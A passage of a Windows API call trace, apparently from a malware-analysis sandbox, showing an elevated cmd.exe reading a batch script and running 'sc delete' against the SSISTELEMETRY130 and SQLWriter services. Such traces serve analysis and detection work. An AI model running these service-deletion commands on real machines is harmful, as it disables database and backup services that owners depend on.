lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.349] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.349] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete SSISTELEMETRY130\ne\n") returned 1 [0075.349] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.349] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.349] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.349] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete SSISTELEMETRY130\ne\n") returned 1 [0075.349] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.349] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.349] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.349] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete SSISTELEMETRY130\ne\n") returned 1 [0075.349] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.349] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.349] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.349] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete SSISTELEMETRY130\ne\n") returned 1 [0075.349] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.349] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.349] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.349] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete SSISTELEMETRY130\ne\n") returned 1 [0075.350] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.350] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.350] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.350] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete SSISTELEMETRY130\ne\n") returned 1 [0075.350] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.350] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.350] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.350] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete SSISTELEMETRY130\ne\n") returned 1 [0075.350] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.350] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.350] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.350] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te SSISTELEMETRY130\ne\n") returned 1 [0075.350] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.350] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.350] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.350] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e SSISTELEMETRY130\ne\n") returned 1 [0075.350] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.350] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.350] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.350] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" SSISTELEMETRY130\ne\n") returned 1 [0075.350] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.350] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.350] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.350] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="SSISTELEMETRY130\ne\n") returned 1 [0075.350] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.350] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.351] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.351] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="QISTELEMETRY130\ne\n") returned 1 [0075.351] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.351] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.351] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.351] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="LSTELEMETRY130\ne\n") returned 1 [0075.351] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.351] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.351] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.351] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="WTELEMETRY130\ne\n") returned 1 [0075.351] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.351] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.351] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.351] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="rELEMETRY130\ne\n") returned 1 [0075.351] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.351] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.352] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.352] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="iLEMETRY130\ne\n") returned 1 [0075.352] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.352] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.352] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.352] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="tEMETRY130\ne\n") returned 1 [0075.352] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.352] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.352] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.352] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="eMETRY130\ne\n") returned 1 [0075.352] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.352] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.352] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.352] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="rETRY130\ne\n") returned 1 [0075.352] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.352] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.352] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.352] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="\nTRY130\ne\n") returned 1 [0075.352] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.352] GetFileType (hFile=0xb8) returned 0x3 [0075.353] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.353] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.353] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.353] GetFileType (hFile=0x120) returned 0x3 [0075.353] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.353] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete SQLWriter\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete SQLWriter\n", lpUsedDefaultChar=0x0) returned 21 [0075.353] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x14, lpOverlapped=0x0) returned 1 [0075.353] GetProcessHeap () returned 0x240000 [0075.353] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0075.353] GetProcessHeap () returned 0x240000 [0075.353] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0075.353] GetProcessHeap () returned 0x240000 [0075.353] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0075.353] GetProcessHeap () returned 0x240000 [0075.353] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0075.353] GetProcessHeap () returned 0x240000 [0075.353] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x34) returned 0x256510 [0075.354] GetConsoleOutputCP () returned 0x1b5 [0075.354] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0075.354] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0075.354] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0075.354] GetProcessHeap () returned 0x240000 [0075.354] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0075.354] GetProcessHeap () returned 0x240000 [0075.354] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3a) returned 0x25aa40 [0075.354] GetProcessHeap () returned 0x240000 [0075.354] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c5b0 [0075.354] SetErrorMode (uMode=0x0) returned 0x1 [0075.354] SetErrorMode (uMode=0x1) returned 0x0 [0075.354] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c5c0, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0075.355] SetErrorMode (uMode=0x1) returned 0x1 [0075.355] GetProcessHeap () returned 0x240000 [0075.355] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c5b0, Size=0x62) returned 0x25c5b0 [0075.355] GetProcessHeap () returned 0x240000 [0075.355] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c5b0) returned 0x62 [0075.355] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0075.355] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0075.355] GetProcessHeap () returned 0x240000 [0075.355] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0075.355] GetProcessHeap () returned 0x240000 [0075.355] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0075.355] GetProcessHeap () returned 0x240000 [0075.355] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0075.355] GetProcessHeap () returned 0x240000 [0075.355] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0075.355] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0075.355] GetProcessHeap () returned 0x240000 [0075.355] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0075.355] GetProcessHeap () returned 0x240000 [0075.355] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0075.355] GetProcessHeap () returned 0x240000 [0075.355] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0075.355] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0075.355] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0075.356] GetLastError () returned 0x2 [0075.356] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0075.356] GetLastError () returned 0x2 [0075.356] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0075.356] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0075.356] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0075.356] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0075.357] GetLastError () returned 0x2 [0075.357] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0075.357] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0075.357] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0075.357] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0075.357] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0075.357] GetProcessHeap () returned 0x240000 [0075.357] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0075.357] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0075.357] GetProcessHeap () returned 0x240000 [0075.357] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xa0) returned 0x259180 [0075.357] GetProcessHeap () returned 0x240000 [0075.357] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xa0 [0075.357] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete SQLWriter") returned 1 [0075.358] GetProcessHeap () returned 0x240000 [0075.358] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0075.358] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0075.358] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0075.358] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0075.358] GetProcessHeap () returned 0x240000 [0075.358] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0075.359] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0075.359] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0075.359] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0075.359] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0075.359] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0075.359] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0075.359] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0075.359] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0075.359] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0075.359] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0075.359] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0075.359] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0075.359] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0075.359] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0075.359] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0075.359] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0075.359] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0075.359] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0075.359] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0075.359] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0075.359] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0075.359] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0075.359] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0075.359] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0075.359] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0075.360] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0075.360] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0075.360] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0075.360] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0075.360] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0075.360] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0075.360] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0075.360] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0075.360] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0075.360] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0075.360] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0075.360] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0075.360] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0075.360] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0075.360] GetProcessHeap () returned 0x240000 [0075.360] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0075.360] GetProcessHeap () returned 0x240000 